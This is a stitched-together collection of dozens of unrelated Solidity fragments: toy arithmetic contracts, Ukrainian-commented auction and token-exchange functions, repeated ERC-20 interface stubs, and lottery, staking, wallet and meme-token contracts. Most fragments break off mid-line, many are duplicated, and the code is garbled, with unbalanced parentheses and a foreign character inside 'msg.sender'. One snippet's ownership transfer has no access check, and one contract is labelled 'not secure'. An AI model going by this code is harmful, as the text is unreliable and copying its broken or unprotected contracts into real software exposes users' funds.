pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Initializing variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with sum
uint public sum = a + b;
// Initializing a variable
// with the difference
uint public diff = a - b;
// Initializing a variable
// with product
uint public mul = a * b;
// Initializing a variable
// with quotient
uint public div = a / b;
// Initializing a variable
// with modulus
uint public mod = a % b;
// Initializing a variable
// decrement value
uint public dec = --b;
// Initializing a variable
// with increment value
uint public inc = ++a;
}

//pragma solidity ^0.7.0;

contract BlockInfo {
      uint public ethPrice;
          bytes32 public blockHash;
              bytes32 public parentHash;
                  bytes32 public sha3Uncles;
                      uint public nonce;
                      
                          constructor(uint _ethPrice, bytes32 _blockHash, bytes32 _parentHash, bytes32 _sha3Uncles, uint _nonce) {
                                    ethPrice = _ethPrice;
                                            blockHash = _blockHash;
                                                    parentHash = _parentHash;
                                                            sha3Uncles = _sha3Uncles;
                                                                    nonce = _nonce;
                          }
                          
                              function getBlockInfo() public view returns (uint, bytes32, bytes32, bytes32, uint) {
                                        return (ethPrice, blockHash, parentHash, sha3U

// Функція завершення аукціону
function endAuction() external onlyOwner auctionNotEnded {
  // Прапорець який сигналізує що аукціон вже закінчено
  auctionEnded = true;

  // Спалюємо всі токени, які надійшли на контракт під час ставок
  token._burn(address(this)), token.balanceOf(address(this)));

  if (highestBidder != address(0)) {
    // Мінтим нові токени переможцю
    token._mint(highestBidder, prizePool);
  }

// Функція для розміщення ставки
function placeBid(uint bidAmount) external auctionNotEnded {
  // Перевірка на розмір ставки, вона повинна бути більшою ніж попередня
  require(bidAmount > highestBid, "Bid amount must be higher than current highest bid");
  // Перевірка чи має користувач достатню кількість токенів
  require(token.balanceOf(msg.sender) >= bidAmount, "Insufficient balance");

  // Переведення токенів від користувача на контракт
  token.transferFrom(msg.sender, address(this), bidAmount);

  // Записуємо нового власника найбільшої ставки
  highestBidder = msg.sender;
  highestBid = bidAmount;

function createCottery() public onlyOwner returns(address) {
    Cottery newCottery = new Cottery(tokenAddress, owner, prizePool);
    latestCottery = address(newCottery);

    return latestCottery;

// Функція для додавання ліквідності, в параметрах вказується кількість токенів для додавання
    // створюється екземпляр інтерфейса токена,
    // викликається переведення токенів від ініціатора транзакції на адрес контракта
    function addLiquidity(uint256 _tokenAmount) public payable returns (uint) {
        // Перевірка на наявність активів в цьому пулі
        if(getReserve() == 0) {
            // Створюється екземпляр інтерфейса токена
            IERC20 token = IERC20(tokenAddress);
            // Виконується переведення токенів від відправника на адрес контракту
            token.transferFrom(msg.sender, address(this), _tokenAmount);

            // Обраховуємо ліквідні

    function ethToToken(uint256 _minTokens, address recipient) private {
        // Отримуємо кількість токенів на контракті
        uint256 tokenReserve = getReserve();
        // Обраховуємо кількість токенів, які отримає користувач в обмін на ETH(для цього викликається функція getAmount)
        uint256 tokensBought = getAmount(msg.value, address(this).balance - msg.value, tokenReserve);
        // Перевірка на прослизання(slippage)
        require(tokensBought >= _minTokens, "not enough amount to output");
        // Переводимо токени на адрес користувача
        IERC20(tokenAddress).transfer(recipient, tokensBought);
    

// Обмін між двума токенами
function tokenToTokenSwap(uint256 _tokensSold, uint256 _minTokensBought, address _tokenAddress) public {
    // Отримуємо адрес біржі другого токена
    address exchangeAddress = IFactory(factoryAddress).getExchange(_tokenAddress);

    // Перевіряємо чи адрес другої біржі не дорівнює адресу цієї а також чи не дорівнює нульовому адресу
    require(exchangeAddress != address(this) && exchangeAddress != address(0), "exchange not exist");

    // Отримуємо кількість токенів на контракті
    uint256 tokenReserve = getReserve();
    // Розразовуємо скільки треба заплатити ETH за обмін
    uint256 ethBought = getAmount(_tokensSold, tokenReserve, address(this).balance);
    // Переводимо токени з адреси покупця на адрес контракту
    IE

// Обчислення кількості отриманих токенів за продаж ETH
function getTokenAmount(uint _ethSold) public view returns (uint) {
  // Перевірка на коректність числа
  require(_ethSold > 0, "ethSold is too small");
  // Отримуємо кількість токенів на контракті
  uint tokenReserve = getReserve();

  // Обчислюємо кількість ERC-20 токенів
  return getAmount(_ethSold, address(this).balance, tokenReserve);
}

// Обчислення кількості отриманого ETH за продаж певної кількості токенів
function getEthAmount(uint _tokenSold) public view returns (uint) {
  // Перевірка на коректність числа
  require(_tokenSold > 0, "tokenSold is too small");
  // Отримуємо кількість токенів на контракті
  uint tokenReserve = getReserve();

  // Обчислюємо кількість ETH
  re

// Функція для обрахунку кількості актива для обміну, по формулі CPMM
function getAmount(uint inputAmount, uint inputReserve, uint outputReserve) private pure returns (uint) {
  // Перевірка на коректність резервів
  require(inputReserve > 0 && outputReserve > 0, "invalid reserves");

  // Обрахунок комісії
  uint256 inputAmountWithFee = inputAmount * 99;  // 1%
  // Розрахунок чисельника
  uint256 numerator = inputAmountWithFee * outputReserve;
  // Розрахунок знаменника
  uint256 denominator = (inputReserve * 100) + inputAmountWithFee;

  // Обчислення кількості і поверення значення
  return numerator / denominator;

// Обмін ETH на ERC-20
function ethToTokenSwap(uint256 _minTokens) public payable {
  // Отримуємо кількість токенів, які знаходятся на контракті
  uint256 tokenReserve = getReserve();
  // Обраховуємо кількість токенів, які отримає користувач в обмін на ETH(для цього викликається функція getAmount)
  uint256 tokensBought = getAmount(msg.value, address(this).balance - msg.value, tokenReserve);
  // Перевірка на прослизання(slippage)
  require(tokensBought >= _minTokens, "insufficient output");
  // Переводимо токени на адрес користувача
  IERC20(tokenAddress).transfer(msg.sender, tokensBought);

// Функція для створення нового обмінника
// отримує на вхід адрес ERC-20 токена, повертає адрес нового конракту обмінника
function createExchange(address _tokenAddress) public returns (address) {
  // Перевірка, чи не являється адрес токена нульовим адресом
  // якщо так, створює помилку
  require(_tokenAddress != address(0), "invalid token address");
  
  // Перевірка на наявність вже існуючого контракта обміну для певного токена
  // Використовується для того, щоб не створювати багато різних контрактів для одного і того самого токена
  require(tokenToExchange[_tokenAddress] == address(0), "exchange already exist");

  // Створюємо екземпляр контракта обміну
  // в к

// Функція для отримання всіх адресів токенів
function getAllTokenAddresses() public view returns (address[] memory) {
  return tokenAddresses;
}

// Повертає адрес контракта обміна по адресу токена
function getExchange(address _tokenAddress) public view returns (address) {
  return tokenToExchange[_tokenAddress];
}

// Повертає адрес токена по адресу контракта обмінника
function getToken(address _exchangeAddress) public view returns (address) {
  return tokenToExchange[_exchangeAddress];

// Назва токену
function name() public view returns (string)

// Символ токену
function symbol() public view returns (string)

// Кількість десяткових знаків
function decimals() public view returns (uint8)

// Загальна кількість токенів
function totalSupply() public view returns (uint256)

// Баланс токенів на аккаунті
function balanceOf(address _owner) public view returns (uint256 balance)

// Функція переведення токенів
function transfer(address _to, uint256 _value) public returns (bool success)

// функція зписування токенів
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)

// Підтвердження транзакції
function approve(address _spender, uint256 _value) public returns (bool success

function name() public view returns (string) // Назва токену

function symbol() public view returns (string) // Символ токену

function decimals() public view returns (uint8) // Кількість десяткових знаків

function totalSupply() public view returns (uint256)// Загальна кількість токенів

function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті

function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів

function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�

function name() public view returns (string) // Назва токену

function symbol() public view returns (string) // Символ токену

function decimals() public view returns (uint8) // Кількість десяткових знаків

function totalSupply() public view returns (uint256)// Загальна кількість токенів

function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті

function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів

function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�

function balanceOf(address _owner) external view returns (uint256);

function ownerOf(uint256 _tokenId) external view returns (address);

function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;

function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;

function transferFrom(address _from, address _to, uint256 _tokenId) external payable;

function approve(address _approved, uint256 _tokenId) external payable;

function setApprovalForAll(address _operator, bool _approved) external;

function getApproved(uint256 _tokenId) external view returns (address);

function isApprovedForAll(address _owner, address _operator) external view returns (bool)

pragma solidity ^0.8.0;

function name() public view returns (string) // Назва токену

function symbol() public view returns (string) // Символ токену

function decimals() public view returns (uint8) // Кількість десяткових знаків

function totalSupply() public view returns (uint256)// Загальна кількість токенів

function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті

function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів

function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�

pragma solidity ^0.7.1;

function name() public view returns (string) // Назва токену

function symbol() public view returns (string) // Символ токену

function decimals() public view returns (uint8) // Кількість десяткових знаків

function totalSupply() public view returns (uint256)// Загальна кількість токенів

function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті

function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів

function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�

pragma solidity ^0.8.0;

function name() public view returns (string) // Назва токену

function symbol() public view returns (string) // Символ токену

function decimals() public view returns (uint8) // Кількість десяткових знаків

function totalSupply() public view returns (uint256)// Загальна кількість токенів

function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті

function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів

function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�

pragma solidity ^0.4.15;

contract ArgentWallet {
    address public owner;
    mapping(address => uint) public balances;

    event Deposit(address indexed _from, uint _value);
    event Withdrawal(address indexed _to, uint _value);

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function ArgentWallet() public {
        owner = msg.שsender;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        Deposit(msg.sender, msg.value);
    }

    function withdraw(uint _amount) public {
        require(_amount <= balances[msg.sender]);
        balances[msg.sender] -= _amount;
        msg.sender.transfer(_amount);
        Withdrawal(msg.sender, _amount);
    }

    function getBalance() public constant returns (uint) {
        return balances[msg.sender];
    }

    function transfer(address _to, uint _amount) public {
        require(_amount <= balances[msg.sender]);
        balances[msg.sender] -= _amount;
        balances[_to] += _am

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "@chainlink/contracts/src/v0.8/interfaces/KeeperCompatibleInterface.sol";

contract CoinFlipGame is VRFConsumerBase, KeeperCompatibleInterface {
    uint public constant GAME_DURATION = 5 minutes;
    uint public lastGameEndTime;
    address payable[] public players;
    mapping(address => uint) public bets;
    mapping(address => bool) public guesses;
    uint public totalBetAmount;
    address payable public owner;
    bytes32 internal keyHash;
    uint internal fee;

    // Events
    event GameStarted(uint gameEndTime);
    event BetPlaced(address player, uint amount, bool guess);
    event GameEnded(bool result, uint totalPayout);
    event Withdrawal(address to, uint amount);

    // Commission settings
    uint public commissionRate = 100; // 1% commission
    uint public commissionBalance;

    constructor(
        address _vrfCoordinator,
        address _linkToken,
        byte

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";

contract DTRASH is ERC20Votes {
    uint256 public constant VESTING_DURATION = 730 days;
    uint256 public constant UNLOCK_START = 365 days;
    uint256 public unlockTime;
    mapping(address => uint256) private _lockedBalances;

    constructor(address[] memory lockedRecipients, uint256[] memory lockedAmounts, address[] memory unlockedRecipients, uint256[] memory unlockedAmounts) ERC20Votes("DecentTrash", "DTRASH") {
        require(lockedRecipients.length == lockedAmounts.length, "Mismatched locked");
        require(unlockedRecipients.length == unlockedAmounts.length, "Mismatched unlocked");
        unlockTime = block.timestamp + UNLOCK_START;

        for(uint i = 0; i < lockedRecipients.length; i++) {
            _mintAndLock(lockedRecipients[i], lockedAmounts[i]);
        }

        for(uint i = 0; i < unlockedRecipients.length; i++) {
            _mint(unlockedRecipients[i]

pragma solidity 0.8.10;

interface IAugustus {
    function getTokenTransferProxy() external view returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

/*
 *  1/ some scenario is broken
 *  2/ not secure
 *  3/ not gas efficient
 */
contract BrokenSwapper {
    IAugustus immutable augustus;

    constructor(IAugustus _augustus) {
        augustus = _augustus;
    }
    
  	// swap ERC20 tokens and pure ETH
    function swapTokensWithParaSwap(
        IERC20 srcToken, 
        IERC20 destToken, 
        uint256 amount, 
        bytes memory augustusCalldata // trusted data to pass down to augutus contract
    ) external {
        srcToken.transferFrom(msg.sender, address(this), amount);

        srcToken.a

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
contract Ownable {
  address public owner;

  function transferOwnership(address _newOwner) public {
    owner = _newOwner;
  }

  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

/**
 * SPDX-License-Identifier: MIT
 *
 * Copyright (c) 2018 zOS Global Limited.
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT,

pragma solidity ^0.4.11;


contract Ownable {
  address public owner;



  function Ownable() {
    owner = msg.sender;
  }


 
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



contract ERC721 {
    
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (uint256 balance);
    function ownerOf(uint256 _tokenId) external view returns (address owner);
    function approve(address _to, uint256 _tokenId) external;
    function transfer(address _to, uint256 _tokenId) external;
    function transferFrom(address _from, address _to, uint256 _tokenId) external;

    
    event Transfer(address from, address to, uint256 tokenId);
    event Approval(address owner, address approved, uint256 tokenId);

    
    function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}

pragma solidity ^0.4.11;


contract Ownable {
  address public owner;



  function Ownable() {
    owner = msg.sender;
  }


 
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



contract ERC721 {
    
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (uint256 balance);
    function ownerOf(uint256 _tokenId) external view returns (address owner);
    function approve(address _to, uint256 _tokenId) external;
    function transfer(address _to, uint256 _tokenId) external;
    function transferFrom(address _from, address _to, uint256 _tokenId) external;

    
    event Transfer(address from, address to, uint256 tokenId);
    event Approval(address owner, address approved, uint256 tokenId);

    
    function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

/**
 *Submitted for verification at optimistic.etherscan.io on 2023-12-18
 */

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol

// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose toke

/**
 *Submitted for verification at optimistic.etherscan.io on 2023-12-18
 */

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol

// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose toke

// SPDX-License-Identifier: MIT

//   ___
//   __/_  `.  .-"""-.
//   \_,` | \-'  /   )`-')
//    "") `"`    \  ((`"`
//   ___Y  ,    .'7 /|
//   (_,___/...-` (_/_/ 

// x.com/kimboavax
// Kimbo , like the espresso! 

// $KIMBO is a meme coin with no intrinsic value or expectation of financial return. There is no formal team or roadmap. The coin is completely useless and for entertainment purposes only.


pragma solidity ^0.8.20;


import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";


contract KimboToken is ERC20, Ownable(msg.sender) {
    // Added state variable for lubrication - gently does it!
    // Lubrication prevents any wallet receiving more than 1% of Kimbo in the opening days.
    bool public lubricating = true;
    address public liquidityPool;

    // Mint the totalSupply to the deployer
    constructor() ERC20("Kimbo", "KIMBO") {
        _mint(msg.sender, 69420000000 * 10 ** 18);
    }

    // Function to set lubricating state
    function 

pragma solidity 0.8.10;

interface IAugustus {
    function getTokenTransferProxy() external view returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

/*
 *  1/ some scenario is broken
 *  2/ not secure
 *  3/ not gas efficient
 */
contract BrokenSwapper {
    IAugustus immutable augustus;

    constructor(IAugustus _augustus) {
        augustus = _augustus;
    }
    
  	// swap ERC20 tokens and pure ETH
    function swapTokensWithParaSwap(
        IERC20 srcToken, 
        IERC20 destToken, 
        uint256 amount, 
        bytes memory augustusCalldata // trusted data to pass down to augutus contract
    ) external {
        srcToken.transferFrom(msg.sender, address(this), amount);

        srcToken.a

// SPDX-License-Identifier: MIT
// The SPDX-License-Identifier specifies the license for the code.

pragma solidity ^0.8.0;
// Indicates that the code should be compiled using a Solidity compiler version equal to or higher than 0.8.0.

import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// Imports interfaces for ERC721 and ERC20 tokens, Ownable contract, and SafeMath for safe arithmetic operations.

contract NFTStaking is Ownable {
    using SafeMath for uint256;
    // The contract inherits from the Ownable contract, and SafeMath is used for safe arithmetic operations.

    IERC721 public nftToken;
    IERC20 public nativeToken;
    // Declarations of interfaces for ERC721 and ERC20 tokens.

    uint256 public stakingRewardRate = 1;
    uint256 public totalStakedNFTs;
    // Public variables to store staking parameters.

    mapping(add

/**
  o__ __o                                  o          o                 o__ __o                            o   
 <|     v\                                <|\        /|>               <|     v\                         _<|>_ 
 / \     <\                               / \\o    o// \               / \     <\                              
 \o/     o/       o       o     o__ __o/  \o/ v\  /v \o/    o__  __o   \o/     o/   o__ __o/  \o_ __o      o   
  |__  _<|       <|>     <|>   /v     |    |   <\/>   |    /v      |>   |__  _<|/  /v     |    |    v\    <|>  
  |       \      < >     < >  />     / \  / \        / \  />      //    |         />     / \  / \    <\   / \  
 <o>       \o     |       |   \      \o/  \o/        \o/  \o    o/     <o>        \      \o/  \o/     /   \o/  
  |         v\    o       o    o      |    |          |    v\  /v __o   |          o      |    |     o     |   
 / \         <\   <\__ __/>    <\__  < >  / \        / \    <\/> __/>  / \         <\__  / \  / \ __/>    / \  v2
          

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

contract Token {
    mapping(address => uint) private _balances;
    mapping(address => mapping(address => uint)) private _allowance;

    uint private _totalSupply = 75000000 * 10 ** 18;
    string public name = "Suleymani";
    string public symbol = "SLMN";
    uint public decimals = 18;
    uint256 public num;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
    event BalanceChanged(address indexed owner, uint previousBalance, uint newBalance);

    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function balanceOf(address owner) public view returns (uint) {
        require(owner != address(0), "Invalid address");
        return _balances[owner];
    }

    function transfer(address to, uint value) public returns (bool) {
        require(to != address(0), "Inva

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

// Library for safe arithmetic operations
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }
}

// Contract providing basic ownership control
contract Ownable {
    address public owner;

    // Assigns contract deployer as the owner
    constructor() {
        owner = msg.sender;
    }

    // Modifier to restrict functions to the owner only
    modifier onlyOwner() {
        require(msg.sender == owner, "Ownable: caller is not the owner");
        _;
    }

    // Allows the owner to withdraw Ether from the contract
    function withdrawEther(uint256 amount) external onlyOwner {
        payable(owner).transfer(amount);
    }
}

// Main token contra

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

modifier isOwner() {
    // Make sure we're called by our trusted owner before doing anything.
    require(msg.sender == owner, "Caller is not owner");
    _;
}

modifier isOwner() {
    // Make sure we're called by our trusted owner before doing anything.
    require(msg.sender == owner, "Caller is not owner");
    _;
}

modifier isOwner() {
    // Make sure we're called by our trusted owner before doing anything.
    require(msg.sender == owner, "Caller is not owner");
    _;

modifier isOwner() {
    // Make sure we're called by our trusted owner before doing anything.
    require(msg.sender == owner, "Caller is not owner");
    _;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
modifier isOwner() {
    // Make sure we're called by our trusted owner before doing anything.
    require(msg.sender == owner, "Caller is not owner");
    _;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    if (false) revert();
    // if (true) revert();
    return value;
  }

  uint value;

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";

contract Martians is  ERC721Enumerable, Ownable, EIP712 {
    using Counters for Counters.Counter;
    using Strings for uint256;

    Counters.Counter private _tokenIdCounter;
    uint256 maxSupply = 1000;
    bool public publicMintOpen = false;
    bool public allowListMintOpen = true;
    string private _contractBaseURI;
    bytes32 private _secret;

    uint256[] private _availableTokenIds;
    uint256 private _index;

    constructor() ERC721("Monero Martians", "FEFMLMKU1984") EIP712("monero_martians", "1") {
        _contractBaseURI = "ipfs://bafybeifzbz5znq4m3qhgxcjchoz4jwho56at3xin5vq3ndbjc2sybpjhue";
        _secret = keccak256(abi.encodePacked(bl

// SPDX-License-Identifier: UNLICENSE

/*



*/

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath

pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Playground {

  function generateTraits(
        bytes32 seed
    ) public pure returns (string) {
        uint256 rockColorFamily = uint256(
            seed
        ) % 10000;

        string memory featuredMaterial;
        if (rockColorFamily < 1800) {
          featuredMaterial = "IRON";
        } else if (rockColorFamily < 4000) {
          featuredMaterial = "COPPER";
        } else if (rockColorFamily < 6000) {
          featuredMaterial = "OXIDE";
        } else if (rockColorFamily < 7800) {
          featuredMaterial = "PYRITE";
        } else if (rockColorFamily <= 9500) {
          featuredMaterial = "GRANITE";
        } else {
          featuredMaterial = "QUARTZITE";
        }


        return featuredMaterial;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: MIT LICENSE
 
pragma solidity ^0.8.7;
 
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "./PriceConverter.sol";
import "./RustToken.sol";
 
contract RustLotto is ReentrancyGuard, Ownable, VRFConsumerBaseV2 {
    using SafeERC20 for IERC20;
    using SafeMath for uint256;
    using PriceConverter for uint256;
 
 
    VRFCoordinatorV2Interface COORDINATOR;
 
    uint64 private s_subscriptionId;
    address private vrfCoordinator = 0x6D80646bEAdd07cE68cab36c27c626790bBcf17f;
    bytes32 private keyHash = 0x83d1b6e3388bed3d76426974512bb0d270e9542a765cd667242ea26c0cc0b730;
    uint16 private requestConfirmations = 3;
    uint32 private numWords = 6;
 

// SPDX-License-Identifier: MIT LICENSE
 
pragma solidity ^0.8.7;
 
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "./PriceConverter.sol";
 
contract RustLotto is ReentrancyGuard, Ownable, VRFConsumerBaseV2 {
    using SafeERC20 for IERC20;
    using SafeMath for uint256;
    using PriceConverter for uint256;
 
 
    VRFCoordinatorV2Interface COORDINATOR;
 
    uint64 private s_subscriptionId;
    address private vrfCoordinator = 0x6D80646bEAdd07cE68cab36c27c626790bBcf17f;
    bytes32 private keyHash = 0x83d1b6e3388bed3d76426974512bb0d270e9542a765cd667242ea26c0cc0b730;
    uint16 private requestConfirmations = 3;
    uint32 private numWords = 6;
    uint32 private callback

//test
pragma solidity >=0.4.18 <=0.5.6;
contract test {
  string public name="beom_test";
  uint256 private bagic=10;
  function testfunc(uint256 input) private {
    bagic=input;
  }

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

